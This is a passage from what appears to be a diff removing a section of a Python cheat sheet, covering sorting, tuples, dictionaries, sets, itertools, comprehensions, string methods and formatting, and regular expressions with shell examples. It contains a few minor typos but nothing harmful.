-[-7, 1, 2, 3.14, 5]
-```
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> spam.sort()
->>> spam
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-You can also pass True for the reverse keyword argument to have sort() sort the values in reverse order:
-
-```python
->>> spam.sort(reverse=True)
->>> spam
-['elephants', 'dogs', 'cats', 'badgers', 'ants']
-```
-
-If you need to sort the values in regular alphabetical order, pass str. lower for the key keyword argument in the sort() method call:
-
-```python
->>> spam = ['a', 'z', 'A', 'Z']
->>> spam.sort(key=str.lower)
->>> spam
-['a', 'A', 'z', 'Z']
-```
-
-You can use the built-in function `sorted` to return a new list:
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> sorted(spam)
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-_Return to the Top_
-
-#### Tuple Data Type
-
-```python
->>> eggs = ('hello', 42, 0.5)
->>> eggs[0]
-'hello'
-```
-
-```python
->>> eggs[1:3]
-(42, 0.5)
-```
-
-```python
->>> len(eggs)
-3
-```
-
-The main way that tuples are different from lists is that tuples, like strings, are immutable.
-
-_Return to the Top_
-
-#### Converting Types with the list() and tuple() Functions
-
-```python
->>> tuple(['cat', 'dog', 5])
-('cat', 'dog', 5)
-```
-
-```python
->>> list(('cat', 'dog', 5))
-['cat', 'dog', 5]
-```
-
-```python
->>> list('hello')
-['h', 'e', 'l', 'l', 'o']
-```
-
-_Return to the Top_
-
-### Dictionaries and Structuring Data
-
-Example Dictionary:
-
-```python
-myCat = {'size': 'fat', 'color': 'gray', 'disposition': 'loud'}
-```
-
-_Return to the Top_
-
-#### The keys(), values(), and items() Methods
-
-values():
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>> for v in spam.values():
->>>     print(v)
-red
-42
-```
-
-keys():
-
-```python
->>> for k in spam.keys():
->>>     print(k)
-color
-age
-```
-
-items():
-
-```python
->>> for i in spam.items():
->>>     print(i)
-('color', 'red')
-('age', 42)
-```
-
-Using the keys(), values(), and items() methods, a for loop can iterate over the keys, values, or key-value pairs in a dictionary, respectively.
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>>
->>> for k, v in spam.items():
->>>     print('Key: {} Value: {}'.format(k, str(v)))
-Key: age Value: 42
-Key: color Value: red
-```
-
-_Return to the Top_
-
-#### Checking Whether a Key or Value Exists in a Dictionary
-
-```python
->>> spam = {'name': 'Zophie', 'age': 7}
-```
-
-```python
->>> 'name' in spam.keys()
-True
-```
-
-```python
->>> 'Zophie' in spam.values()
-True
-```
-
-```python
->>> # You can omit the call to keys() when checking for a key
->>> 'color' in spam
-False
-```
-
-```python
->>> 'color' not in spam
-True
-```
-
-_Return to the Top_
-
-#### The get() Method
-
-Get has two parameters: key and default value if the key did not exist
-
-```python
->>> picnic_items = {'apples': 5, 'cups': 2}
-
->>> 'I am bringing {} cups.'.format(str(picnic_items.get('cups', 0)))
-'I am bringing 2 cups.'
-```
-
-```python
->>> 'I am bringing {} eggs.'.format(str(picnic_items.get('eggs', 0)))
-'I am bringing 0 eggs.'
-```
-
-_Return to the Top_
-
-#### The setdefault() Method
-
-Let's consider this code:
-
-```python
-spam = {'name': 'Pooka', 'age': 5}
-
-if 'color' not in spam:
-    spam['color'] = 'black'
-```
-
-Using `setdefault` we could write the same code more succinctly:
-
-```python
->>> spam = {'name': 'Pooka', 'age': 5}
->>> spam.setdefault('color', 'black')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-```python
->>> spam.setdefault('color', 'white')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-_Return to the Top_
-
-#### Pretty Printing
-
-```python
->>> import pprint
->>>
->>> message = 'It was a bright cold day in April, and the clocks were striking
->>> thirteen.'
->>> count = {}
->>>
->>> for character in message:
->>>     count.setdefault(character, 0)
->>>     count[character] = count[character] + 1
->>>
->>> pprint.pprint(count)
-{' ': 13,
- ',': 1,
- '.': 1,
- 'A': 1,
- 'I': 1,
- 'a': 4,
- 'b': 1,
- 'c': 3,
- 'd': 3,
- 'e': 5,
- 'g': 2,
- 'h': 3,
- 'i': 6,
- 'k': 2,
- 'l': 3,
- 'n': 4,
- 'o': 2,
- 'p': 1,
- 'r': 5,
- 's': 3,
- 't': 6,
- 'w': 2,
- 'y': 1}
-```
-
-_Return to the Top_
-
-#### Merge two dictionaries
-
-```python
-# in Python 3.5+:
->>> x = {'a': 1, 'b': 2}
->>> y = {'b': 3, 'c': 4}
->>> z = {**x, **y}
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-
-# in Python 2.7
->>> z = dict(x, **y)
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-```
-
-### sets
-
-From the Python 3 [documentation](https://docs.python.org/3/tutorial/datastructures.html)
-
-> A set is an unordered collection with no duplicate elements. Basic uses include membership testing and eliminating duplicate entries. Set objects also support mathematical operations like union, intersection, difference, and symmetric difference.
-
-#### Initializing a set
-
-There are two ways to create sets: using curly braces `{}` and the built-in function `set()`
-
-```python
->>> s = {1, 2, 3}
->>> s = set([1, 2, 3])
-```
-
-When creating an empty set, be sure to not use the curly braces `{}` or you will get an empty dictionary instead.
-
-```python
->>> s = {}
->>> type(s)
-<class 'dict'>
-```
-
-#### sets: unordered collections of unique elements
-
-A set automatically remove all the duplicate values.
-
-```python
->>> s = {1, 2, 3, 2, 3, 4}
->>> s
-{1, 2, 3, 4}
-```
-
-And as an unordered data type, they can't be indexed.
-
-```python
->>> s = {1, 2, 3}
->>> s[0]
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-TypeError: 'set' object does not support indexing
->>>
-```
-
-#### set add() and update()
-
-Using the `add()` method we can add a single element to the set.
-
-```python
->>> s = {1, 2, 3}
->>> s.add(4)
->>> s
-{1, 2, 3, 4}
-```
-
-And with `update()`, multiple ones .
-
-```python
->>> s = {1, 2, 3}
->>> s.update([2, 3, 4, 5, 6])
->>> s
-{1, 2, 3, 4, 5, 6}  # remember, sets automatically remove duplicates
-```
-
-#### set remove() and discard()
-
-Both methods will remove an element from the set, but `remove()` will raise a `key error` if the value doesn't exist.
-
-```python
->>> s = {1, 2, 3}
->>> s.remove(3)
->>> s
-{1, 2}
->>> s.remove(3)
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-KeyError: 3
-```
-
-`discard()` won't raise any errors.
-
-```python
->>> s = {1, 2, 3}
->>> s.discard(3)
->>> s
-{1, 2}
->>> s.discard(3)
->>>
-```
-
-#### set union()
-
-`union()` or `|` will create a new set that contains all the elements from the sets provided.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {3, 4, 5}
->>> s1.union(s2)  # or 's1 | s2'
-{1, 2, 3, 4, 5}
-```
-
-#### set intersection
-
-`intersection` or `&` will return a set containing only the elements that are common to all of them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s3 = {3, 4, 5}
->>> s1.intersection(s2, s3)  # or 's1 & s2 & s3'
-{3}
-```
-
-#### set difference
-
-`difference` or `-` will return only the elements that are unique to the first set (invoked set).
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.difference(s2)  # or 's1 - s2'
-{1}
->>> s2.difference(s1) # or 's2 - s1'
-{4}
-```
-
-#### set symetric_difference
-
-`symetric_difference` or `^` will return all the elements that are not common between them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.symmetric_difference(s2)  # or 's1 ^ s2'
-{1, 4}
-```
-
-_Return to the Top_
-
-### itertools Module
-
-The _itertools_ module is a collection of tools intended to be fast and use memory efficiently when handling iterators (like lists or dictionaries).
-
-From the official [Python 3.x documentation](https://docs.python.org/3/library/itertools.html):
-
-> The module standardizes a core set of fast, memory efficient tools that are useful by themselves or in combination. Together, they form an "iterator algebra" making it possible to construct specialized tools succinctly and efficiently in pure Python.
-
-The _itertools_ module comes in the standard library and must be imported.
-
-The [operator](https://docs.python.org/3/library/operator.html) module will also be used. This module is not necessary when using itertools, but needed for some of the examples below.
-
-_Return to the Top_
-
-#### accumulate()
-
-Makes an iterator that returns the results of a function.
-
-```python
-itertools.accumulate(iterable[, func])
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5]
->>> result = itertools.accumulate(data, operator.mul)
->>> for each in result:
->>>    print(each)
-1
-2
-6
-24
-120
-```
-
-The operator.mul takes two numbers and multiplies them:
-
-```python
-operator.mul(1, 2)
-2
-operator.mul(2, 3)
-6
-operator.mul(6, 4)
-24
-operator.mul(24, 5)
-120
-```
-
-Passing a function is optional:
-
-```python
->>> data = [5, 2, 6, 4, 5, 9, 1]
->>> result = itertools.accumulate(data)
->>> for each in result:
->>>    print(each)
-5
-7
-13
-17
-22
-31
-32
-```
-
-If no function is designated the items will be summed:
-
-```python
-5
-5 + 2 = 7
-7 + 6 = 13
-13 + 4 = 17
-17 + 5 = 22
-22 + 9 = 31
-31 + 1 = 32
-```
-
-_Return to the Top_
-
-#### combinations()
-
-Takes an iterable and a integer. This will create all the unique combination that have r members.
-
-```python
-itertools.combinations(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square',]
->>> result = itertools.combinations(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'square')
-```
-
-_Return to the Top_
-
-#### combinations_with_replacement()
-
-Just like combinations(), but allows individual elements to be repeated more than once.
-
-```python
-itertools.combinations_with_replacement(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square']
->>> result = itertools.combinations_with_replacement(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'circle')
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'triangle')
-('triangle', 'square')
-('square', 'square')
-```
-
-_Return to the Top_
-
-#### count()
-
-Makes an iterator that returns evenly spaced values starting with number start.
-
-```python
-itertools.count(start=0, step=1)
-```
-
-Example:
-
-```python
->>> for i in itertools.count(10,3):
->>>    print(i)
->>>    if i > 20:
->>>        break
-10
-13
-16
-19
-22
-```
-
-_Return to the Top_
-
-#### cycle()
-
-This function cycles through an iterator endlessly.
-
-```python
-itertools.cycle(iterable)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue', 'violet']
->>> for color in itertools.cycle(colors):
->>>    print(color)
-red
-orange
-yellow
-green
-blue
-violet
-red
-orange
-```
-
-When reached the end of the iterable it start over again from the beginning.
-
-_Return to the Top_
-
-#### chain()
-
-Take a series of iterables and return them as one long iterable.
-
-```python
-itertools.chain(*iterables)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> result = itertools.chain(colors, shapes)
->>> for each in result:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-circle
-triangle
-square
-pentagon
-```
-
-_Return to the Top_
-
-#### compress()
-
-Filters one iterable with another.
-
-```python
-itertools.compress(data, selectors)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> selections = [True, False, True, False]
->>> result = itertools.compress(shapes, selections)
->>> for each in result:
->>>    print(each)
-circle
-square
-```
-
-_Return to the Top_
-
-#### dropwhile()
-
-Make an iterator that drops elements from the iterable as long as the predicate is true; afterwards, returns every element.
-
-```python
-itertools.dropwhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.dropwhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-1
-```
-
-_Return to the Top_
-
-#### filterfalse()
-
-Makes an iterator that filters elements from iterable returning only those for which the predicate is False.
-
-```python
-itertools.filterfalse(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.filterfalse(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-```
-
-_Return to the Top_
-
-#### groupby()
-
-Simply put, this function groups things together.
-
-```python
-itertools.groupby(iterable, key=None)
-```
-
-Example:
-
-```python
->>> robots = [{
-    'name': 'blaster',
-    'faction': 'autobot'
-}, {
-    'name': 'galvatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'jazz',
-    'faction': 'autobot'
-}, {
-    'name': 'metroplex',
-    'faction': 'autobot'
-}, {
-    'name': 'megatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'starcream',
-    'faction': 'decepticon'
-}]
->>> for key, group in itertools.groupby(robots, key=lambda x: x['faction']):
->>>    print(key)
->>>    print(list(group))
-autobot
-[{'name': 'blaster', 'faction': 'autobot'}]
-decepticon
-[{'name': 'galvatron', 'faction': 'decepticon'}]
-autobot
-[{'name': 'jazz', 'faction': 'autobot'}, {'name': 'metroplex', 'faction': 'autobot'}]
-decepticon
-[{'name': 'megatron', 'faction': 'decepticon'}, {'name': 'starcream', 'faction': 'decepticon'}]
-```
-
-_Return to the Top_
-
-#### islice()
-
-This function is very much like slices. This allows you to cut out a piece of an iterable.
-
-```python
-itertools.islice(iterable, start, stop[, step])
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> few_colors = itertools.islice(colors, 2)
->>> for each in few_colors:
->>>    print(each)
-red
-orange
-```
-
-_Return to the Top_
-
-#### permutations()
-
-```python
-itertools.permutations(iterable, r=None)
-```
-
-Example:
-
-```python
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.permutations(alpha_data)
->>> for each in result:
->>>    print(each)
-('a', 'b', 'c')
-('a', 'c', 'b')
-('b', 'a', 'c')
-('b', 'c', 'a')
-('c', 'a', 'b')
-('c', 'b', 'a')
-```
-
-_Return to the Top_
-
-#### product()
-
-Creates the cartesian products from a series of iterables.
-
-```python
->>> num_data = [1, 2, 3]
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.product(num_data, alpha_data)
->>> for each in result:
-    print(each)
-(1, 'a')
-(1, 'b')
-(1, 'c')
-(2, 'a')
-(2, 'b')
-(2, 'c')
-(3, 'a')
-(3, 'b')
-(3, 'c')
-```
-
-_Return to the Top_
-
-#### repeat()
-
-This function will repeat an object over and over again. Unless, there is a times argument.
-
-```python
-itertools.repeat(object[, times])
-```
-
-Example:
-
-```python
->>> for i in itertools.repeat("spam", 3):
-    print(i)
-spam
-spam
-spam
-```
-
-_Return to the Top_
-
-#### starmap()
-
-Makes an iterator that computes the function using arguments obtained from the iterable.
-
-```python
-itertools.starmap(function, iterable)
-```
-
-Example:
-
-```python
->>> data = [(2, 6), (8, 4), (7, 3)]
->>> result = itertools.starmap(operator.mul, data)
->>> for each in result:
->>>    print(each)
-12
-32
-21
-```
-
-_Return to the Top_
-
-#### takewhile()
-
-The opposite of dropwhile(). Makes an iterator and returns elements from the iterable as long as the predicate is true.
-
-```python
-itertools.takewhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.takewhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-1
-2
-3
-4
-```
-
-_Return to the Top_
-
-#### tee()
-
-Return n independent iterators from a single iterable.
-
-```python
-itertools.tee(iterable, n=2)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in alpha_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in beta_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-_Return to the Top_
-
-#### zip_longest()
-
-Makes an iterator that aggregates elements from each of the iterables. If the iterables are of uneven length, missing values are filled-in with fillvalue. Iteration continues until the longest iterable is exhausted.
-
-```python
-itertools.zip_longest(*iterables, fillvalue=None)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10,]
->>> for each in itertools.zip_longest(colors, data, fillvalue=None):
->>>    print(each)
-('red', 1)
-('orange', 2)
-('yellow', 3)
-('green', 4)
-('blue', 5)
-(None, 6)
-(None, 7)
-(None, 8)
-(None, 9)
-(None, 10)
-```
-
-_Return to the Top_
-
-### Comprehensions
-
-#### List comprehension
-
-```python
->>> a = [1, 3, 5, 7, 9, 11]
-
->>> [i - 1 for i in a]
-[0, 2, 4, 6, 8, 10]
-```
-
-#### Set comprehension
-
-```python
->>> b = {"abc", "def"}
->>> {s.upper() for s in b}
-{"ABC", "DEF"}
-```
-
-#### Dict comprehension
-
-```python
->>> c = {'name': 'Pooka', 'age': 5}
->>> {v: k for k, v in c.items()}
-{'Pooka': 'name', 5: 'age'}
-```
-
-A List comprehension can be generated from a dictionary:
-
-```python
->>> c = {'name': 'Pooka', 'first_name': 'Oooka'}
->>> ["{}:{}".format(k.upper(), v.upper()) for k, v in c.items()]
-['NAME:POOKA', 'FIRST_NAME:OOOKA']
-```
-
-### Manipulating Strings
-
-#### Escape Characters
-
-| Escape character | Prints as            |
-| ---------------- | -------------------- |
-| `\'`             | Single quote         |
-| `\"`             | Double quote         |
-|                  | Tab                  |
-|                  | Newline (line break) |
-| `\\`             | Backslash            |
-
-Example:
-
-```python
->>> print("Hello there!\nHow are you?\nI\'m doing fine.")
-Hello there!
-How are you?
-I'm doing fine.
-```
-
-_Return to the Top_
-
-#### Raw Strings
-
-A raw string completely ignores all escape characters and prints any backslash that appears in the string.
-
-```python
->>> print(r'That is Carol\'s cat.')
-That is Carol\'s cat.
-```
-
-Note: mostly used for regular expression definition (see `re` package)
-
-_Return to the Top_
-
-#### Multiline Strings with Triple Quotes
-
-```python
->>> print('''Dear Alice,
->>>
->>> Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>> Sincerely,
->>> Bob''')
-Dear Alice,
-
-Eve's cat has been arrested for catnapping, cat burglary, and extortion.
-
-Sincerely,
-Bob
-```
-
-To keep a nicer flow in your code, you can use the `dedent` function from the `textwrap` standard package.
-
-```python
->>> from textwrap import dedent
->>>
->>> def my_function():
->>>     print('''
->>>         Dear Alice,
->>>
->>>         Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>>         Sincerely,
->>>         Bob
->>>         ''').strip()
-```
-
-This generates the same string than before.
-
-_Return to the Top_
-
-#### Indexing and Slicing Strings
-
-```
-H   e   l   l   o       w   o   r   l   d    !
-0   1   2   3   4   5   6   7   8   9   10   11
-```
-
-```python
->>> spam = 'Hello world!'
-
->>> spam[0]
-'H'
-```
-
-```python
->>> spam[4]
-'o'
-```
-
-```python
->>> spam[-1]
-'!'
-```
-
-Slicing:
-
-```python
->>> spam[0:5]
-'Hello'
-```
-
-```python
->>> spam[:5]
-'Hello'
-```
-
-```python
->>> spam[6:]
-'world!'
-```
-
-```python
->>> spam[6:-1]
-'world'
-```
-
-```python
->>> spam[:-1]
-'Hello world'
-```
-
-```python
->>> spam[::-1]
-'!dlrow olleH'
-```
-
-```python
->>> spam = 'Hello world!'
->>> fizz = spam[0:5]
->>> fizz
-'Hello'
-```
-
-_Return to the Top_
-
-#### The in and not in Operators with Strings
-
-```python
->>> 'Hello' in 'Hello World'
-True
-```
-
-```python
->>> 'Hello' in 'Hello'
-True
-```
-
-```python
->>> 'HELLO' in 'Hello World'
-False
-```
-
-```python
->>> '' in 'spam'
-True
-```
-
-```python
->>> 'cats' not in 'cats and dogs'
-False
-```
-
-#### The in and not in Operators with list
-
-```python
->>> a = [1, 2, 3, 4]
->>> 5 in a
-False
-```
-
-```python
->>> 2 in a
-True
-```
-
-_Return to the Top_
-
-#### The upper(), lower(), isupper(), and islower() String Methods
-
-`upper()` and `lower()`:
-
-```python
->>> spam = 'Hello world!'
->>> spam = spam.upper()
->>> spam
-'HELLO WORLD!'
-```
-
-```python
->>> spam = spam.lower()
->>> spam
-'hello world!'
-```
-
-isupper() and islower():
-
-```python
->>> spam = 'Hello world!'
->>> spam.islower()
-False
-```
-
-```python
->>> spam.isupper()
-False
-```
-
-```python
->>> 'HELLO'.isupper()
-True
-```
-
-```python
->>> 'abc12345'.islower()
-True
-```
-
-```python
->>> '12345'.islower()
-False
-```
-
-```python
->>> '12345'.isupper()
-False
-```
-
-_Return to the Top_
-
-#### The isX String Methods
-
--   **isalpha()** returns True if the string consists only of letters and is not blank.
--   **isalnum()** returns True if the string consists only of letters and numbers and is not blank.
--   **isdecimal()** returns True if the string consists only of numeric characters and is not blank.
--   **isspace()** returns True if the string consists only of spaces,tabs, and new-lines and is not blank.
--   **istitle()** returns True if the string consists only of words that begin with an uppercase letter followed by only lowercase letters.
-
-_Return to the Top_
-
-#### The startswith() and endswith() String Methods
-
-```python
->>> 'Hello world!'.startswith('Hello')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('world!')
-True
-```
-
-```python
->>> 'abc123'.startswith('abcdef')
-False
-```
-
-```python
->>> 'abc123'.endswith('12')
-False
-```
-
-```python
->>> 'Hello world!'.startswith('Hello world!')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('Hello world!')
-True
-```
-
-_Return to the Top_
-
-#### The join() and split() String Methods
-
-join():
-
-```python
->>> ', '.join(['cats', 'rats', 'bats'])
-'cats, rats, bats'
-```
-
-```python
->>> ' '.join(['My', 'name', 'is', 'Simon'])
-'My name is Simon'
-```
-
-```python
->>> 'ABC'.join(['My', 'name', 'is', 'Simon'])
-'MyABCnameABCisABCSimon'
-```
-
-split():
-
-```python
->>> 'My name is Simon'.split()
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'MyABCnameABCisABCSimon'.split('ABC')
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'My name is Simon'.split('m')
-['My na', 'e is Si', 'on']
-```
-
-_Return to the Top_
-
-#### Justifying Text with rjust(), ljust(), and center()
-
-rjust() and ljust():
-
-```python
->>> 'Hello'.rjust(10)
-'     Hello'
-```
-
-```python
->>> 'Hello'.rjust(20)
-'               Hello'
-```
-
-```python
->>> 'Hello World'.rjust(20)
-'         Hello World'
-```
-
-```python
->>> 'Hello'.ljust(10)
-'Hello     '
-```
-
-An optional second argument to rjust() and ljust() will specify a fill character other than a space character. Enter the following into the interactive shell:
-
-```python
->>> 'Hello'.rjust(20, '*')
-'***************Hello'
-```
-
-```python
->>> 'Hello'.ljust(20, '-')
-'Hello---------------'
-```
-
-center():
-
-```python
->>> 'Hello'.center(20)
-'       Hello       '
-```
-
-```python
->>> 'Hello'.center(20, '=')
-'=======Hello========'
-```
-
-_Return to the Top_
-
-#### Removing Whitespace with strip(), rstrip(), and lstrip()
-
-```python
->>> spam = '    Hello World     '
->>> spam.strip()
-'Hello World'
-```
-
-```python
->>> spam.lstrip()
-'Hello World '
-```
-
-```python
->>> spam.rstrip()
-'    Hello World'
-```
-
-```python
->>> spam = 'SpamSpamBaconSpamEggsSpamSpam'
->>> spam.strip('ampS')
-'BaconSpamEggs'
-```
-
-_Return to the Top_
-
-#### Copying and Pasting Strings with the pyperclip Module (need pip install)
-
-```python
->>> import pyperclip
-
->>> pyperclip.copy('Hello world!')
-
->>> pyperclip.paste()
-'Hello world!'
-```
-
-_Return to the Top_
-
-### String Formatting
-
-#### % operator
-
-```python
->>> name = 'Pete'
->>> 'Hello %s' % name
-"Hello Pete"
-```
-
-We can use the `%x` format specifier to convert an int value to a string:
-
-```python
->>> num = 5
->>> 'I have %x apples' % num
-"I have 5 apples"
-```
-
-Note: For new code, using str.format or f-strings (Python 3.6+) is strongly recommended over the `%` operator.
-
-_Return to the Top_
-
-#### String Formatting (str.format)
-
-Python 3 introduced a new way to do string formatting that was later back-ported to Python 2.7. This makes the syntax for string formatting more regular.
-
-```python
->>> name = 'John'
->>> age = 20'
-
->>> "Hello I'm {}, my age is {}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-```python
->>> "Hello I'm {0}, my age is {1}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-The official [Python 3.x documentation](https://docs.python.org/3/library/stdtypes.html?highlight=sprintf#printf-style-string-formatting) recommend `str.format` over the `%` operator:
-
-> The formatting operations described here exhibit a variety of quirks that lead to a number of common errors (such as failing to display tuples and dictionaries correctly). Using the newer formatted string literals or the str.format() interface helps avoid these errors. These alternatives also provide more powerful, flexible and extensible approaches to formatting text.
-
-_Return to the Top_
-
-#### Lazy string formatting
-
-You would only use `%s` string formatting on functions that can do lazy parameters evaluation, the most common being logging:
-
-Prefer:
-
-```python
->>> name = "alice"
->>> logging.debug("User name: %s", name)
-```
-
-Over:
-
-```python
->>> logging.debug("User name: {}".format(name))
-```
-
-Or:
-
-```python
->>> logging.debug("User name: " + name)
-```
-
-_Return to the Top_
-
-#### Formatted String Literals or f-strings (Python 3.6+)
-
-```python
->>> name = 'Elizabeth'
->>> f'Hello {name}!'
-'Hello Elizabeth!
-```
-
-It is even possible to do inline arithmetic with it:
-
-```python
->>> a = 5
->>> b = 10
->>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
-'Five plus ten is 15 and not 30.'
-```
-
-_Return to the Top_
-
-#### Template Strings
-
-A simpler and less powerful mechanism, but it is recommended when handling format strings generated by users. Due to their reduced complexity template strings are a safer choice.
-
-```python
->>> from string import Template
->>> name = 'Elizabeth'
->>> t = Template('Hey $name!')
->>> t.substitute(name=name)
-'Hey Elizabeth!'
-```
-
-_Return to the Top_
-
-### Regular Expressions
-
-1. Import the regex module with `import re`.
-2. Create a Regex object with the `re.compile()` function. (Remember to use a raw string.)
-3. Pass the string you want to search into the Regex object's `search()` method. This returns a `Match` object.
-4. Call the Match object's `group()` method to return a string of the actual matched text.
-
-All the regex functions in Python are in the re module:
-
-```python
->>> import re
-```
-
-_Return to the Top_
-
-#### Matching Regex Objects
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> print('Phone number found: {}'.format(mo.group()))
-Phone number found: 415-555-4242
-```
-
-_Return to the Top_
-
-#### Grouping with Parentheses
-
-```python
->>> phone_num_regex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> mo.group(1)
-'415'
-
->>> mo.group(2)
-'555-4242'
-
->>> mo.group(0)
-'415-555-4242'
-
->>> mo.group()
-'415-555-4242'
-```
-
-To retrieve all the groups at once: use the groups() method—note the plural form for the name.
-
-```python
->>> mo.groups()
-('415', '555-4242')
-
->>> area_code, main_number = mo.groups()
-
->>> print(area_code)
-415
-
->>> print(main_number)
-555-4242
-```
-
-_Return to the Top_
-
-#### Matching Multiple Groups with the Pipe
-
-The | character is called a pipe. You can use it anywhere you want to match one of many expressions. For example, the regular expression r'Batman|Tina Fey' will match either 'Batman' or 'Tina Fey'.
-
-```python
->>> hero_regex = re.compile (r'Batman|Tina Fey')
-
->>> mo1 = hero_regex.search('Batman and Tina Fey.')
-
->>> mo1.group()
-'Batman'
-
->>> mo2 = hero_regex.search('Tina Fey and Batman.')
-
->>> mo2.group()
-'Tina Fey'
-```
-
-You can also use the pipe to match one of several patterns as part of your regex:
-
-```python
->>> bat_regex = re.compile(r'Bat(man|mobile|copter|bat)')
-
->>> mo = bat_regex.search('Batmobile lost a wheel')
-
->>> mo.group()
-'Batmobile'
-
->>> mo.group(1)
-'mobile'
-```
-
-_Return to the Top_
-
-#### Optional Matching with the Question Mark
-
-The ? character flags the group that precedes it as an optional part of the pattern.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)?man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-```
-
-_Return to the Top_
-
-#### Matching Zero or More with the Star
-
-The \* (called the star or asterisk) means "match zero or more"—the group that precedes the star can occur any number of times in the text.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)*man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-
->>> mo3 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo3.group()
-'Batwowowowoman'
-```
-
-_Return to the Top_
-
-#### Matching One or More with the Plus
-
-While \* means "match zero or more," the + (or plus) means "match one or more". The group preceding a plus must appear at least once. It is not optional:
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)+man')
->>> mo1 = bat_regex.search('The Adventures of Batwoman')
->>> mo1.group()
-'Batwoman'
-```
-
-```python
->>> mo2 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo2.group()
-'Batwowowowoman'
-```
-
-```python
->>> mo3 = bat_regex.search('The Adventures of Batman')
->>> mo3 is None
-True
-```
-
-_Return to the Top_
-
-#### Matching Specific Repetitions with Curly Brackets
-
-If you have a group that you want to repeat a specific number of times, follow the group in your regex with a number in curly brackets. For example, the regex (Ha){3} will match the string 'HaHaHa', but it will not match 'HaHa', since the latter has only two repeats of the (Ha) group.
-
-Instead of one number, you can specify a range by writing a minimum, a comma, and a maximum in between the curly brackets. For example, the regex (Ha){3,5} will match 'HaHaHa', 'HaHaHaHa', and 'HaHaHaHaHa'.
-
-```python
->>> ha_regex = re.compile(r'(Ha){3}')
->>> mo1 = ha_regex.search('HaHaHa')
